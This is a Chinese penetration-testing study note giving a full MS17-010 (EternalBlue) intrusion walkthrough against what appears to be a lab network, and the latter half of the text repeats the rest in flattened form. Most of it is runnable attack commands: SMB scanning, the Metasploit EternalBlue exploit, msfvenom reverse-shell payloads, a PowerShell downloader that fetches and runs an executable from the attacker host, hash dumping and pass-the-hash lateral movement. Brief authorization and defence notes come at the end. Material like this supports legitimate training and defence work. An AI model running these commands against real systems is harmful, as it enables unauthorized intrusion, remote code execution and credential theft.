渗透测试学习笔记之案例一
字数 1292 2025-08-29 08:31:41

MS17-010 (EternalBlue) 漏洞利用与渗透测试完整指南

0x00 前言

本教学文档详细记录了针对MS17-010 (EternalBlue)漏洞的完整渗透测试流程,从信息收集到漏洞利用,再到后渗透阶段的操作。该漏洞是Windows SMBv1服务器中的一个远程代码执行漏洞(CVE-2017-0143),风险等级为高危。

0x01 实验环境

  • 目标网络: 10.11.1.0/24
  • 攻击机: Kali Linux (IP: 10.11.0.79)
  • 工具集: Nmap, Metasploit Framework, msfvenom, pth-winexe

0x02 信息收集阶段

1. 扫描开放SMB服务的主机

nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt

提取Windows主机IP:

cat smb_service.txt | grep -i windows | cut -d" " -f2

提取所有开放SMB服务的主机IP:

cat smb_service.txt | grep -i open | cut -d" " -f2 > smb_server_all.txt

2. 扫描存在SMB漏洞的主机

查找可用的SMB漏洞扫描脚本:

find / -name smb*vuln*.nse

批量扫描所有SMB漏洞:

for vul in $(find / -name smb*vuln*.nse | cut -d"/" -f 6); do 
    nmap -v -p 139,445 --script=$vul -iL smb_server_all.txt -oN smb_vulns_$vul.txt; 
done

查看发现的漏洞:

cat smb_vulns_smb-vuln-*.txt | grep IDs:

0x03 漏洞利用阶段

1. 验证MS17-010漏洞

nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse -iL smb_server_all.txt -oN smb_vulns_smb-vuln-ms17-010.nse.txt

2. 使用Metasploit进行攻击

启动Metasploit并配置EternalBlue模块:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
show options

设置目标IP并执行攻击:

set RHOST 10.11.1.220
exploit

成功标志: 获得nt authority\system权限的shell

0x04 后渗透阶段

1. 系统信息收集

检查系统版本:

dir c:\

2. 生成Meterpreter Payload

64位Windows Payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f exe -a x64 --platform win -o mp_64.exe

32位Windows Payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f exe -a x86 --platform win -o mp_86.exe

3. 设置监听器

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.11.0.79
set LPORT 8080
run

4. 上传并执行Payload

在目标机器上创建PowerShell下载脚本:

echo $storageDir=$pwd > wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
echo $file="mp_64.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

执行脚本并运行payload:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
mp_64.exe

5. Meterpreter操作

常用命令:

  • screenshot: 截取屏幕
  • hashdump: 导出密码哈希
  • shell: 获取系统shell
  • getsystem: 提权

示例哈希导出结果:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

0x05 Pass The Hash攻击

使用获取的NTLM哈希进行认证:

export SMBHASH=aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e
pth-winexe -U Administrator% //10.11.1.220 cmd

0x06 渗透测试流程总结

  1. 信息收集: 使用Nmap扫描开放SMB服务的主机
  2. 漏洞扫描: 使用Nmap脚本扫描特定SMB漏洞
  3. 漏洞验证: 确认MS17-010漏洞存在
  4. 漏洞利用: 使用Metasploit的EternalBlue模块攻击
  5. 权限提升: 获得system权限
  6. 后渗透:
    • 生成Meterpreter payload
    • 上传并执行payload
    • 获取稳定会话
    • 导出密码哈希
  7. 横向移动: 使用Pass The Hash技术

0x07 注意事项

  1. 实际环境中,某些主机可能因为架构不匹配而攻击失败
  2. 确保payload架构与目标系统匹配(32位/64位)
  3. 在企业环境中进行渗透测试前必须获得书面授权
  4. 测试完成后应清理痕迹,删除上传的文件
  5. 该漏洞影响Windows 7/Server 2008 R2及更早版本,确保打上MS17-010补丁

0x08 防御措施

  1. 禁用SMBv1协议
  2. 及时安装安全更新
  3. 启用网络级认证(NLA)
  4. 配置防火墙规则限制SMB端口(139/445)的访问
  5. 使用网络分割限制SMB通信范围
MS17-010 (EternalBlue) 漏洞利用与渗透测试完整指南 0x00 前言 本教学文档详细记录了针对MS17-010 (EternalBlue)漏洞的完整渗透测试流程,从信息收集到漏洞利用,再到后渗透阶段的操作。该漏洞是Windows SMBv1服务器中的一个远程代码执行漏洞(CVE-2017-0143),风险等级为高危。 0x01 实验环境 目标网络 : 10.11.1.0/24 攻击机 : Kali Linux (IP: 10.11.0.79) 工具集 : Nmap, Metasploit Framework, msfvenom, pth-winexe 0x02 信息收集阶段 1. 扫描开放SMB服务的主机 提取Windows主机IP: 提取所有开放SMB服务的主机IP: 2. 扫描存在SMB漏洞的主机 查找可用的SMB漏洞扫描脚本: 批量扫描所有SMB漏洞: 查看发现的漏洞: 0x03 漏洞利用阶段 1. 验证MS17-010漏洞 2. 使用Metasploit进行攻击 启动Metasploit并配置EternalBlue模块: 设置目标IP并执行攻击: 成功标志: 获得 nt authority\system 权限的shell 0x04 后渗透阶段 1. 系统信息收集 检查系统版本: 2. 生成Meterpreter Payload 64位Windows Payload: 32位Windows Payload: 3. 设置监听器 4. 上传并执行Payload 在目标机器上创建PowerShell下载脚本: 执行脚本并运行payload: 5. Meterpreter操作 常用命令: screenshot : 截取屏幕 hashdump : 导出密码哈希 shell : 获取系统shell getsystem : 提权 示例哈希导出结果: 0x05 Pass The Hash攻击 使用获取的NTLM哈希进行认证: 0x06 渗透测试流程总结 信息收集 : 使用Nmap扫描开放SMB服务的主机 漏洞扫描 : 使用Nmap脚本扫描特定SMB漏洞 漏洞验证 : 确认MS17-010漏洞存在 漏洞利用 : 使用Metasploit的EternalBlue模块攻击 权限提升 : 获得system权限 后渗透 : 生成Meterpreter payload 上传并执行payload 获取稳定会话 导出密码哈希 横向移动 : 使用Pass The Hash技术 0x07 注意事项 实际环境中,某些主机可能因为架构不匹配而攻击失败 确保payload架构与目标系统匹配(32位/64位) 在企业环境中进行渗透测试前必须获得书面授权 测试完成后应清理痕迹,删除上传的文件 该漏洞影响Windows 7/Server 2008 R2及更早版本,确保打上MS17-010补丁 0x08 防御措施 禁用SMBv1协议 及时安装安全更新 启用网络级认证(NLA) 配置防火墙规则限制SMB端口(139/445)的访问 使用网络分割限制SMB通信范围